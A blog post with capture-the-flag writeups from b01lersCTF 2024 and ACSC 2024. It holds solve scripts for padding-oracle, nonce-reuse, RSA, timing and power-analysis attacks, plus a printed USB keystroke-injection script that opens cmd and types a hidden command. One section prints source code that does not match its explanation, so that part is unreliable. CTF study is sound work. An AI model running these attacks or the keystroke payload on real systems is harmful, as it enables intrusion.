Bronson113’s Blog

b01lersCTF 2024 Author Writeup

2024-04-15T00:00:00+00:00

Overview

Time flies. Suddenly it’s been one full year since the last b01lersCTF. This year’s edition featured A LOT more challenges and seems like an overall success. Prop to the new President (@Gabe) for organizing the whole event! This year I created 5 challenges for b01lersCTF, and I hoped that everyone enjoyed them.

Without further ado, here are the writeups for my challenges. The source code for all of the challenges can be found HERE!

Reverse

js-safe

Crack the safe...

`http://gold.b01le.rs:4006`
Solves: 84 solves / 355 points

When you visit the website, you’ll see a numpad. Now let’s try to click some buttons. You’ll notice that it checks if you’re number is correct when you’ve entered 6 “digits”. Notice that the check is done on the front end, hence we have access to the full logic. Now, the source is unreadable, and some anti-debugging seems to be in place. One way is to go backward. You can find some mention of CryptoJS in the source file. We can “guess” that that’s where our flag is decrypted and displayed. Right before that, there is a sequence of &= with a variable. This checks if the results are all true to then call our decrypted function. This should be the key to our solution.

Now after reconstructing all the constants from the obfuscated code, we can get a picture of how the password is checked.

let pass = true;
pass&=(pw[4] == (pw[1] - 4));
pass&=(pw[1] == (pw[0] ^ 68));
pass&=(pw[0] == (pw[2] - 7));
pass&=(pw[3] == (pw[2] ^ 37));
pass&=(pw[5] == (pw[0] ^ 20));
pass&=(pw[4] == (pw[1] - 4));
pass&=(pw[0] == (pw[3] ^ 34));
pass&=(pw[0] == (pw[2] - 7));
pass&=(pw[0] == (pw[5] + 12));
pass&=(pw[2] == (pw[4] + 71));
pass&=(pw[2] == (pw[5] ^ 19));
pass&=(pw[5] == (pw[3] ^ 54));
pass&=(82 == (pw[3]));

We then retrieve the password by solving those constraints. This can be done with any sat solver, or by hand since there are only 6 digits. The twist here is that the password isn’t actually just digits, but contains letters as well. If you now enter the password to the function itself through addToPassword function, the program will decrypt the flag for us!

bctf{345y-p4s5w0rd->w<}

catch me if you can

I give you this flag generator, but it's too slow. You need to speed up to catch me =D

Solves: 6 solves / 493 points

We are given a pyc file, but pycdc can’t decompile it. It seems like this file uses some sort of match statements, so pycdc can’t decompile it back into the python source. The other thing is that all the variable names seem to be obfuscated.

After some reversing, you’ll notice that the file clearly splits into two parts. An array is first constructed, acting like a key of some sort. Then, each value is xored with a value that’s generated using a complicated algorithm. However, the later the character, the longer the algorithm seems to take to finish. So our goal is to speed up this algorithm.

Notice that there is a weird try-except-finally block in the script. In fact, the challenge is intentionally triggering a divide by zero exception and using that to change the program flow. After some de-obfuscation, the control flow looks like this (with i being the current loop ID):

try:
  for j in range(25, 50):
    if j/(j-i) == 1: random.seed(j)
  n = 3 ** i
except:
  n = n ** 3
finally:
  n = 3 ** i # *This line shouldn't be here
  some_alg(n) # apply that function n iterations to get our key

*: The given program file actually won’t print out the full flag, which I only discovered after the competition had ended. Seems like 6 teams guessed my intention and still ended up with a solution. This is an oversight on my part, as the encoded flag is generated in another script without that.

Now here is the pseudocode of the algorithm:

def some_alg(n):
    a, b, c = 1, 2, 3
    mod = 1000000007
    for i in range(n):
        match (i%3, i%5):
            case (0, 0):
                a, b, c = b, c, (a)%mod
            case (0, _):
                a, b, c = b, c, (a+b+c)%mod
            case (1, _):
                a, b, c = b, c, (a+b)%mod
            case (2, _):
                a, b, c = b, c, (a+c)%mod
    return a

The algorithm is similar to a fibonacci sequence (imo), but more complicated. Firstly, the state transition is not fixed, but in a fizzbuzz like manner. In addition, three previous states are used to derive the next state. Thankfully, all transition is modded, so the result won’t grow extremely large.

Despite the difference to the normal fibonacci sequence, you can still model 15 iterations of this algorithm as a transition matrix, and use repeated squaring on that matrix to get results faster. However, when the iteration count is too high (as it’s expected to go to $3^{25^{3\times 25}}$), The power itself is hard to compute. The trick is to reduce this using the multiplicative order of the matrix, which turns out to be our mod squared and get the result back really fast. You still need to be aware of some minor details though, since the matrix represents 15 iterations, you’ll need to be careful when working with the remainder. Personally, I did the iteration count mod ${15\times mod^2}$ to avoid the issue, but there might be some other ways as well. I know that some teams used some very different modulo and still got the same result (like mod+1).

bctf{we1rd_pyth0nc0d3_so1v3_w1th_f4s7_M47r1x_Mu1t}

import sys
import random

target = [96, 98, 68, 160, 172, 115, 20, 108, 25, 122, 208, 71, 158, 63, 233, 59, 180, 165, 115, 203, 177, 17, 166, 196, 255, 127, 70, 172, 55, 11, 204, 20, 198, 31, 60, 167, 17, 1, 132, 106, 195, 19, 38, 151, 203, 163, 211, 27, 73, 98]

mod = 1000000007
F = GF(mod)
transitionA = matrix(F, [
        [0, 1, 0],
        [0, 0, 1],
        [1, 1, 1]
        ]).T
transitionB = matrix(F,[
        [0, 1, 0],
        [0, 0, 1],
        [1, 1, 0]
        ]).T
transitionC = matrix(F,[
        [0, 1, 0],
        [0, 0, 1],
        [1, 0, 1]
        ]).T
transitionD = matrix(F,[
        [0, 1, 0],
        [0, 0, 1],
        [1, 0, 0]
        ]).T

def gen_remain(x):
    total_transition = matrix.identity(F, 3)
    for i in range(x):
        if i%5 == 0 and i%3 == 0:
                total_transition = total_transition * transitionD
        elif i%3 == 0:
            total_transition = total_transition * transitionA
        elif i%3 == 1:
            total_transition = total_transition * transitionB
        else:
            total_transition = total_transition * transitionC
    return total_transition



T = gen_remain(15)
initial = vector(F, [1, 2, 3])
order = T.multiplicative_order()
F2 = Zmod(order*15)

def not_fibonacci(count):
    return int((initial * (T**(int(count)//15)) * gen_remain(int(count)%15))[0])

base = 3

result = []
for i in range(0, 50):
    try:
        for j in range(25, 50):
            random.seed(j / (j-i))
        iter_count = base ** (i)
    except ZeroDivisionError:
        iter_count = F2(iter_count ** base)
    finally:
        key = not_fibonacci(iter_count)

        flag = (target[i]) ^^ (key & 0xff)
        print(chr(flag), end="")
        sys.stdout.flush()

Crypto

choose the param

I wounder why we need to specify parameter length in the spec...

`nc gold.b01le.rs 5001`
Solves: 46 solves / 432 points

#!/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from secret import flag
import os


def Encrypt(key, message, nonce):
    cipher = AES.new(key, AES.MODE_CTR, nonce=long_to_bytes(nonce))
    return cipher.encrypt(message).hex()


def chal():
    key = os.urandom(16)
    print("Treat or Trick, count my thing. ")
    nonce_counter = 1
    print(Encrypt(key, flag, nonce_counter))
    while True:
        nonce_counter += 1
        to_enc = input("Give me something to encrypt: ")
        print(Encrypt(key, bytes.fromhex(to_enc), nonce_counter))


if __name__ == "__main__":
    chal()

This challenge is quite straightforward. We are given a service that will encrypt the flag using primes of the length of our choice. It’s clear that with a small prime, we can easily factor N, and recover m. However, since the flag is padded on both ends, we won’t gain any useful information if our prime is too small, or do we?

If we check what we actually retrieved from the RSA decryption, we get $ m = c^{d} \mod{n} $. This means that we get $m \mod{n}$ for each query. If we have multiple pairs of these m, we can recover the full m using Chinese Remainder Theorem.

bctf{dont_let_the_user_choose_the_prime_length_>w<}

from Crypto.Util.number import long_to_bytes
from sage.all import Integer, CRT
from pwn import *

p = remote("gold.b01le.rs", 5001)

ms = []
ns = []
bits = 500*8
prime_len = 48
print(bits//prime_len)
for i in range(bits//prime_len):
    p.recvuntil("primes> ")
    p.sendline(str(prime_len))

    n = int(p.recvline().split(b" = ")[-1], 16)
    e = int(p.recvline().split(b" = ")[-1], 16)
    c = int(p.recvline().split(b" = ")[-1], 16)
    print(n, e, c)

    (P, _), (Q, _) = Integer(n).factor()
    d = pow(e, -1, (P-1)*(Q-1))
    m = pow(c, int(d), n)
    ms.append(m)
    ns.append(n)

flag = long_to_bytes(CRT(ms, ns))
print(flag[200:-200])

count the counter

000 001 010 011 100...

`nc gold.b01le.rs 5002`
Solves: 26 solves / 466 points

#!/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from secret import flag
import os


def Encrypt(key, message, nonce):
    cipher = AES.new(key, AES.MODE_CTR, nonce=long_to_bytes(nonce))
    return cipher.encrypt(message).hex()


def chal():
    key = os.urandom(16)
    print("Treat or Trick, count my thing. ")
    nonce_counter = 1
    print(Encrypt(key, flag, nonce_counter))
    while True:
        nonce_counter += 1
        to_enc = input("Give me something to encrypt: ")
        print(Encrypt(key, bytes.fromhex(to_enc), nonce_counter))


if __name__ == "__main__":
    chal()

In this challenge, our flag is encrypted using a nonce. We can then supply our own message to be encrypted, but each time the nonce is incremented. Normally this wouldn’t pose an issue, as you would assume that with different nonce, CTR mode will produce different results. To verify this, we’ll need to look into how the nonce is used to create our counter.

In pycryptodome, the full counter is created as nonce concatenated with a counter. Namely, the counter is in the form |||. However, the length of each section isn’t defined. Instead, the nonce is first taken, then the length of the counter is set to make the whole counter length to be 16 bytes.

Now notice that if the nonce ends in a null byte, it’ll act the same if we truncated out the null byte from the end. Therefore, if we wait until the challenge gives us 256 as the nonce, the nonce will be represented and ‘\x01\x00’, which will be the same as the initial ‘\x01’ nonce.

The rest is trivial if you know how CTR mode works. Since the key stream of the two ciphers are the same. We can xor the results from two encryption to remove the stream key and get back our result.

bctf{there_is_a_reason_for_random_nonce_and_with_fixed_length_8c6bf5a1398d1f1d95f1}

from pwn import remote, xor

p = remote("gold.b01le.rs", 5002)
# trick or treat
p.recvline()

# Initial Cipher
enc = p.recvline().strip()
enc_bytes = bytes.fromhex(enc.decode())
print(f"Encrypted: {enc_bytes}")

# Wait until nonce wrap around
skip = 254
for i in range(skip):
    p.sendline(b"00")
for i in range(skip+1):
    p.recvuntil(b"Give me")

# Send message will all null bytes
p.sendline(b"0"*len(enc))
null_encrypt = p.recvline().split(b": ")[-1]
null_encrypt_bytes = bytes.fromhex(null_encrypt.decode())
print(f"Encrypt Null: {null_encrypt_bytes}")

# xor out the ctr cipher stream
print("Flag: ", xor(enc_bytes, null_encrypt_bytes))

propagating counter block chaining

Another counter mode challenge

`nc gold.b01le.rs 5003`
Solves: 11 solves / 487 points

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from functools import reduce
from secret import flag
import os
import json

BLOCK_SIZE = 16
key_ctr1 = os.urandom(BLOCK_SIZE)
key_ctr2 = os.urandom(BLOCK_SIZE)
key_cbc = os.urandom(BLOCK_SIZE)
nonce1 = os.urandom(8)
nonce2 = os.urandom(8)

def AES_ECB_enc(key, message):
    enc = AES.new(key, AES.MODE_ECB)
    return enc.encrypt(message)

def AES_ECB_dec(key, message):
    enc = AES.new(key, AES.MODE_ECB)
    return enc.decrypt(message)

# Returning a block each time
def get_blocks(message):
    for i in range(0, len(message), BLOCK_SIZE):
        yield message[i:i+BLOCK_SIZE]
    return

# Takes any number of arguements, and return the xor result.
# Similar to pwntools' xor, but trucated to minimum length
def xor(*args):
    _xor = lambda x1, x2: x1^x2
    return bytes(map(lambda x: reduce(_xor, x, 0), zip(*args)))


def counter(nonce):
    count = 0
    while count < 2**(16 - len(nonce)):
        yield nonce + str(count).encode().rjust(16-len(nonce), b"\x00")
        count+=1
    return


def encrypt(message):
    cipher = b""
    iv = os.urandom(BLOCK_SIZE)
    prev_block = iv
    counter1 = counter(nonce1)
    counter2 = counter(nonce2)
    for block in get_blocks(pad(message, BLOCK_SIZE)):
        enc1 = AES_ECB_enc(key_ctr1, next(counter1))
        enc2 = AES_ECB_enc(key_cbc, xor(block, prev_block, enc1))
        enc3 = AES_ECB_enc(key_ctr2, next(counter2))
        enc4 = xor(enc3, enc2)
        prev_block = xor(block, enc4)
        cipher += enc4

    return iv + cipher

def decrypt(cipher):
    message = b""
    iv = cipher[:16]
    cipher_text = cipher[16:]

    prev_block = iv
    counter1 = counter(nonce1)
    counter2 = counter(nonce2)
    for block in get_blocks(cipher_text):
        dec1 = AES_ECB_enc(key_ctr2, next(counter2))
        dec2 = AES_ECB_dec(key_cbc, xor(block, dec1))
        dec3 = AES_ECB_enc(key_ctr1, next(counter1))
        message += xor(prev_block, dec2, dec3)
        prev_block = xor(prev_block, dec2, block, dec3)

    return unpad(message, BLOCK_SIZE)

def main():
    certificate = os.urandom(8) + flag + os.urandom(8)
    print(f"""
*********************************************************

Certificate as a Service

*********************************************************

Here is a valid certificate: {encrypt(certificate).hex()}

*********************************************************""")
    while True:
        try:
            cert = bytes.fromhex(input("Give me a certificate >> "))
            if len(cert) < 32:
                print("Your certificate is not long enough")

            message = decrypt(cert)
            if flag in message:
                print("This certificate is valid")
            else:
                print("This certificate is not valid")
        except Exception:
            print("Something went wrong")

if __name__ == "__main__":
    main()

We can first inspect the encrypt function. We see that two different sets of counters are used, and some sort of block chaining is used. The output of the counters is used to xor both the input and the output of the block cipher. Additionally, the results from the previous block are xored into the input of the next block. In essence, it’s a chaining CTR-PCBC-CTR mode.

Other than the encrypt function, this challenge is quite a barebone example of a padding oracle attack. and So the main difficulty will be in figuring out how to apply the attack on the new CTR-PCBC-CTR mode.

Let’s first ignore the CTR modes as we should be able to adjust for them later. How does PCBC mode padding oracle work? If we look at the figure, you’ll notice that controlling IV allows us to control the output of each block, since the result will snake through each plaintext and influence the next block accordingly. This can be used to directly influence the padding, and proceed with the normal padding oracle attack.

(Image quoted from wikipedia)

Now we need to worry about the counters. We can recall that CTR acted like a stream cipher, meaning that characters at the correct place will be decrypted correctly. Naturally, if we keep the ciphertext where it should be, the decryption process will help us decrypt the correct plaintext, and we don’t need to worry about them. Since controlling the IV allows us to control every block of the output, we can choose which block we want the padding to be at, and resolve this issue. See the solve script for more details.

bctf{adding_ctr_mode_doesn't_provide_any_security_to_padding_oracle..._c850d60d210169}

# ctr - pcbc - ctr
# but the chaining is done from ctr output
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from pwn import *
import os


BLOCK_SIZE = 16

def oracle(p, ct):
    p.sendline(ct.hex())

def oracle_res(p, count):
    result = []
    for i in range(count):
        p.recvuntil(b">> ")
        res = p.recvline()
        if b"Something went wrong" in res:
            result.append(False)
        else:
            result.append(True)
    return result

def oracle_block(p, iv, ct):
    guess = []
    for l in range(1, 17):
        for c in range(256):
#            print(bytes(guess+[c])[::-1])
            new_iv = xor(bytes([c]+guess[::-1]).rjust(16,b"\x00"), bytes([l]*16), iv)
            oracle(p, new_iv+ct)

        res = oracle_res(p, 256)

        for c in range(256):
            if res[c]:
                guess.append(c)
                break
        print(bytes(guess[::-1]))
    return bytes(guess[::-1])

def main():
#    p = remote("127.0.0.1", "5003")
    p = remote("gold.b01le.rs", "5003")
#    p = process(["python3", "./src/chal.py"])
    p.recvuntil(b"valid certificate: ")
    cipher_text = bytes.fromhex(p.recvline().decode())
    iv, ct = cipher_text[:16], cipher_text[16:]
    flag = b"".join((oracle_block(p, iv, ct[:i*16]) for i in range(1, len(ct)//16+1)))
    print(flag)


if __name__ == "__main__":
    main()

ACSC 2024 writeup

2024-04-03T00:00:00+00:00

This weekend I played ACSC, trying to qualify for ICC. (Probably not the best timing while running cursedCTF on the side). In the end, I solved 11 challenges, though mostly the easier ones.

Challenges marked with * are solved after the competition ends.

Here is a screenshot of the scoreboard and solves

Hardware

An4lyz3-1t

authored by Chainfire73

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

We are given a digital signal capture file generated using saleae logic analyzer. If we install the software for that flag format, we can see that only channel 4 has any data on it. Through trial and error, I found out the correct baud rate is 57600, and the serial data decoder can decode the flag. ACSC{b4by4n4lyz3r_548e8c80e}

Vault

authored by v3ct0r, Chainfire73

Can you perform side-channel attack to this vault? The PIN is a 10-digit number.

* Python3 is installed on remote. `nc vault.chal.2024.ctf.acsc.asia 9999`

We are given the binary file run on the remote server. With a bit of reversing the challenge, we see that it first checked the length of the pin, then checked the pin 1 by 1. Each check adds a 0.1 second delay, so the timing difference is very observable. A simple timing side channel attack can be used to extract the pin. After the pin is extracted, running the binary with the pin gives the flag.

ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

import time
import string
import subprocess

pin = "0000000000"
res = subprocess.run(["./chall"], input=pin.encode(), capture_output=True)
print(res)

pin = "0000000000\n"
res = subprocess.run(["./chall"], input=pin.encode(), capture_output=True)
print(res)

ch = string.digits
def trial(pin):
    st_time = time.time()
    res = subprocess.run(["./chall"], input=pin.encode(), capture_output=True)
    fn_time = time.time()
    return fn_time - st_time

pin = ""
for loc in range(10):
    cur_ch = ''
    cur_time = -10
    for i in ch:
        cur_pin = pin + i
        cur_pin = cur_pin.ljust(10, "z")
        print(cur_pin)
        res = trial(cur_pin)
        if res > cur_time:
            print(i, res, cur_time)
            cur_time = res
            cur_ch = i

    pin += cur_ch

print(pin)

# pin on server: 8574219362
# ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

Pwr-tr4ce

authored by Chainfire73

You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.

EXPERIMENT SETUP
scope = chipwhisperer lite
target = stm32f3
AES key length = 16 bytes

The challenge is trying to perform a power analysis side channel using the provided trace. I’m lazy and find someone else’s side channel analysis tool :p

ACSC{Pwr!4n4lyz}

Honestly I should just learn how to do power analysis >w<

import numpy as np
from estraces import read_ths_from_ram
import scared

texts = np.load("textins.npy")
traces = np.load("traces.npy")

ths = read_ths_from_ram(samples=traces, plaintext=texts)
print(ths)

attack = scared.CPAAttack(selection_function=scared.aes.selection_functions.encrypt.FirstSubBytes(),
                          model=scared.HammingWeight(),
                          discriminant=scared.maxabs,
                          convergence_step=10)
attack.run(scared.Container(ths))

import matplotlib.pyplot as plt

def plot_attack(attack, byte):
    """Plot attack results for the given byte."""
    fig, axes = plt.subplots(1, 2, figsize=(20, 3))
    axes[0].plot(attack.results[:, byte].T)
    axes[0].set_title('CPA results', loc='left')
    axes[1].plot(attack.convergence_traces[:, byte].T)
    axes[1].set_title('Scores convergence', loc='right')
    plt.suptitle(f'Attack results for byte {byte}')
    plt.show()

# plot_attack(attack, 0)
found_key = np.nanargmax(attack.scores, axis=0).astype('uint8')
print(found_key.tobytes())
# ACSC{Pwr!4n4lyz}

RFID_Demod

authored by Chainfire73

We have obtained analog trace captured by sniffing a rfid writer when it is writing on a T5577 tag. Can you help us find what DATA is being written to it?

Flag Format: ACSC{UPPERCASE_HEX}

We are given the network sniff of a T5577 tag write operation and task to extract what data is written. If we look at page 23 of the specification, We can see that the operation is done by sending 3 starting bits, then the data, and ends with 3 stop bits. If we then open the wave file in Audacity and record the bits, and remove the starting and ending accordingly, we get the flag. ACSC{B1635CAD}

The bits: 10010110001011000110101110010101101011

100 | 10110001011000110101110010101101 | 011

0xb1635cad

picopico

authored by op

Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?

At first, I had no clue where to start, so I used some basic forensic tools to look at the file and dump it into Ghidra. With strings I was able to find the following

picopico$ strings firmware.bin |tail -n 36
import time
L=len
o=bytes
l=zip
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
w=b"\x10\x53\x7f\x2b"
a=0x04
K=43
if microcontroller.nvm[0:L(w)]!=w:
 microcontroller.nvm[0:L(w)]=w
 O=microcontroller.nvm[a:a+K]
 h=microcontroller.nvm[a+K:a+K+K]
 F=o((kb^fb for kb,fb in l(O,h))).decode("ascii")
 S=Keyboard(usb_hid.devices)
 C=KeyboardLayoutUS(S)
 time.sleep(0.1)
 S.press(Keycode.WINDOWS,Keycode.R)
 time.sleep(0.1)
 S.release_all()
 time.sleep(1)
 C.write("cmd",delay=0.1)
 time.sleep(0.1)
 S.press(Keycode.ENTER)
 time.sleep(0.1)
 S.release_all()
 time.sleep(1)
 C.write(F,delay=0.1)
 time.sleep(0.1)
 S.press(Keycode.ENTER)
 time.sleep(0.1)
 S.release_all()
time.sleep(0xFFFFFFFF)

This seems very weird, it’s a Python script trying to mimic keyboard input. Seems like it’s opening the Windows cmd prompt and running some commands. We see that F stores the command. After some deobfuscation, we can see that F is bytes((kb^fb for kb,fb in zip(nvm[4:4+43], nvm[4+43:4+43+43])).decode("ascii"). However, I wasn’t able to find where exactly this nvm is located. Knowing that the flag starts with ACSC, the easy way out is to xor the whole file at 43 bytes offset, so the output will include our flag. I then grep from the output for the flag.

ACSC{349040c16c36fbba8c484b289e0dae6f}

from pwn import xor

firmware = open("firmware.bin", "rb").read()
xored = xor(firmware, firmware[43:])

flag_start = xored.find(b"ACSC")
print(xored[flag_start:flag_start+200])

# ACSC{349040c16c36fbba8c484b289e0dae6f}

Crypto

RSA Stream2

authored by theoremoon

I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.

from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{*REDACTED*}"

If we look at these lines

bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
c = pow(2, e, n) * c % n

we’ll notice that the bit stream is generate from $((2^{k}\times m) \mod{n}) \mod{2}$. In other words, the challenge does LSB oracle for you. Now all you need to do is to reconstruct m and reverse the encryption process. ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}

from Crypto.Util.number import long_to_bytes, bytes_to_long
import decimal
from sage.all import *
from pwn import xor


s1 = open("chal.py.enc", "rb").read()
s2 = open("chal_redacted.py", "rb").read()

key_stream = xor(s1, s2)

m = 0
n = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747

def get_ith_bit(i):
    return (key_stream[i//8] >> (i%8)) & 1

print(get_ith_bit(0))
print("".join(map(str,map(get_ith_bit, range(1024)))))
# 0 -> initially even

decimal.getcontext().prec = len(bin(n))*4
low = decimal.Decimal(0)
high = decimal.Decimal(n)
for i in range(1, len(bin(n))*4):
        plaintext = (low + high) / 2
        state = get_ith_bit(i)
        if not state:
                high = plaintext
        else:
                low = plaintext

low = int(low)
high = int(high)

m = high
text = open("chal.py.enc", "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (m%2)
        m = (m*2) % n

        o |= bit << i
    ciphertext.append(o)

decoded = ciphertext
print(xor(decoded, s2).hex())
print(bytes(ciphertext))
#ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}

strongest OAEP

authored by Bono_iPad

OAEP is strongest! I tweeked the MGF and PRNG! I don't know what I am doing! Oh, e is growing!

from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

import os

flag = b"ACSC{___REDACTED___}"

def strongest_mask(seed, l):
  return b"\x01"*l

def strongest_random(l):
  x = bytes_to_long(os.urandom(1)) & 0b1111
  return long_to_bytes(x) + b"\x00"*(l-1)

f = open("strongest_OAEP.txt","w")

key = RSA.generate(2048,e=13337)

c_buf = -1

for a in range(2):
  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)

  while True:
    c = OAEP_cipher.encrypt(flag)
    num_c = bytes_to_long(c)
    if c_buf == -1:
      c_buf = num_c
    else:
      if c_buf == num_c:continue
    break

  f.write("c: %d\n" % num_c)
  f.write("e: %d\n" % key.e)
  f.write("n: %d\n" % key.n)

  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
  dec = OAEP_cipher.decrypt(c)
  assert dec == flag

  # wow, e is growing!
  d = pow(31337,-1,(key.p-1)*(key.q-1))
  key = RSA.construct( ((key.p * key.q), 31337, d) )

From the source, we know that the strongest_random function can only return 16 different possible values, and the mask is always constant. Now if we look at how OAEP padding works, this means that for the same message, there’s only 16 possible padded messages. In addition, we can calculate the difference between each of them quite easily. Since we are given two sets of encrypted values that share the same modulo, we can apply some form of related message attack. Namely, the FranklinReiter Attack.

The idea is that if we know how the two messages are related, let’s say it’s $x$ and $f(x)$, then the following two equations will hold when $x = m$.

\[\begin{align} x^{e_1} - c_1 &= 0 &\mod{n} \\\\ f(x)^{e_2} - c_2 &= 0 &\mod{n} \\\\ \end{align}\]

which means that both equation contains the factor $(x-m)$. We can now apply GCD on the two equations to recover the m.

In this challenge, $f(x)$ will simply be $x+k$ where k is the difference in the random value. We don’t know the exact difference value though, so we iterate all possible differences, hoping to find the value we need. In my script, I add a special case where the difference is 0, which can be solved in an easier method. That ended up not being the case, but I left it in the script.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import xor

import sys

sys.setrecursionlimit(500000)

c1 = 13412188923056789723463018818435903148553225092126449284011226597847469180689010500205036581482811978555296731975701940914514386095136431336581120957243367238078451768890612869946983768089205994163832242140627878771251215486881255966451017190516603328744559067714544394955162613568906904076402157687419266774554282111060479176890574892499842662967399433436106374957988188845814236079719315268996258346836257944935631207495875339356537546431504038398424282614669259802592883778894712706369303231223163178823585230343236152333248627819353546094937143314045129686931001155956432949990279641294310277040402543835114017195
e1 = 13337
c2 = 2230529887743546073042569155549981915988020442555697399569938119040296168644852392004943388395772846624890089373407560524611849742337613382094015150780403945116697313543212865635864647572114946163682794770407465011059399243683214699692137941823141772979188374817277682932504734340149359148062764412778463661066901102526545656745710424144593949190820465603686746875056179210541296436271441467169157333013539090012425649531186441705611053197011849258679004951603667840619123734153048241290299145756604698071913596927333822973487779715530623752416348064576460436025539155956034625483855558580478908137727517016804515266
e2 = 31337
n = 22233043203851051987774676272268763746571769790283990272898544200595210865805062042533964757556886045816797963053708033002519963858645742763011213707135129478462451536734634098226091953644783443749078817891950148961738265304229458722767352999635541835260284887780524275481187124725906010339700293644191694221299975450383751561212041078475354616962383810736434747953002102950194180005232986331597234502395410788503785620984541020025985797561868793917979191728616579236100110736490554046863673615387080279780052885489782233323860240506950917409357985432580921304065490578044496241735581685702356948848524116794108391919


# Half-GCD impl from https://github.com/rkm0959/rkm0959_implements/blob/main/Half_GCD/code.sage


PR.<x> = PolynomialRing(Zmod(n))

def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)

def franklinReiter(diff):
    g1 = x^e1 - c1
    g2 = (x+diff)^e2 - c2

    res = GCD(g1, g2)
    return -res.monic().coefficients()[0]

# assume same message
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

_, a, b = egcd(e1, e2)
assert(e1*a + e2*b == 1)
ee1 = pow(e1, a, n)
ee2 = pow(e2, b, n)
print(long_to_bytes(int(ee1*ee2%n)))
# so this doesn't work lol

# not same message
diff_base = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
for i in [1, -1, 2, -2, 3, -3, 4, -4, 5, -5, 6, -6, 7, -7, 8, -8, 9, -9, 10, -10, 11, -11, 12, -12, 13, -13, 14, -14, 15, -15]:
    print(i, i*diff_base)
    m = franklinReiter(i * diff_base)
    if pow(m, 13337, n) != c1:
        continue
# i = -5

    # just hacky way to get flag
    print(long_to_bytes(int(m)))
    print(long_to_bytes(int(m)).hex())
    print(xor(b"\x01", long_to_bytes(int(m))))
    break

#ACSC{O4EP_+_broken_M6F_+_broken_PRN6_=_Textbook_RSA_30f068a6b0db16ab7aa42c85be174e6854630d254f54dbc398e725a10ce09ac7}

Web

authored by splitline

Here comes yet another boring login page ... http://login-web.chal.2024.ctf.acsc.asia:5000

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user',
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    Login
    
    
    Login
    
    
    
    
    
    
    
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
